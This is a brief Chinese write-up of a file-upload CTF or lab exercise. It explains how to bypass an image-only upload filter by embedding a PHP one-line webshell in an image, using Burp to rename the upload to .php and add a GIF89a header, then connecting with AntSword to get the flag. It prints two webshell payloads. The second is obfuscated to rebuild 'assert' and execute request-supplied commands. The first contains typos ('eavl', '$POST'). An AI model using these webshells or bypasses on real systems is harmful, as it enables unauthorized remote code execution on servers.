文件上传练习
题目做了过滤,只支持图片上传
这个时候就得上bp去改一改了,首先准备一张图片马,先个图片和一句话木马<?php @eavl ($POST['123']); ?>
cmd命令行中输入:copy tp.png/b + mm.php/a tpm.jpg生成一张名叫tpm.jpg的图片马,用编辑器打开图片马,后面有一句话木马就说明图片马生成成功。
上传图片马,bp抓包,将后缀改为php,图片头改为GIF89a,然后放包
上传成功,访问出现这样页面便是成功了
上传成功了,但蚁剑链接不上,我想可能是对内容做了过滤,于是将一句话木马做点绕过改为<?php $a=str_replace("abc", "", "aabcsabcabcsabceabcrt"); $a($_REQUEST["cmd"]);?>
重复上面步骤,最后上图
蚁剑连接找到key值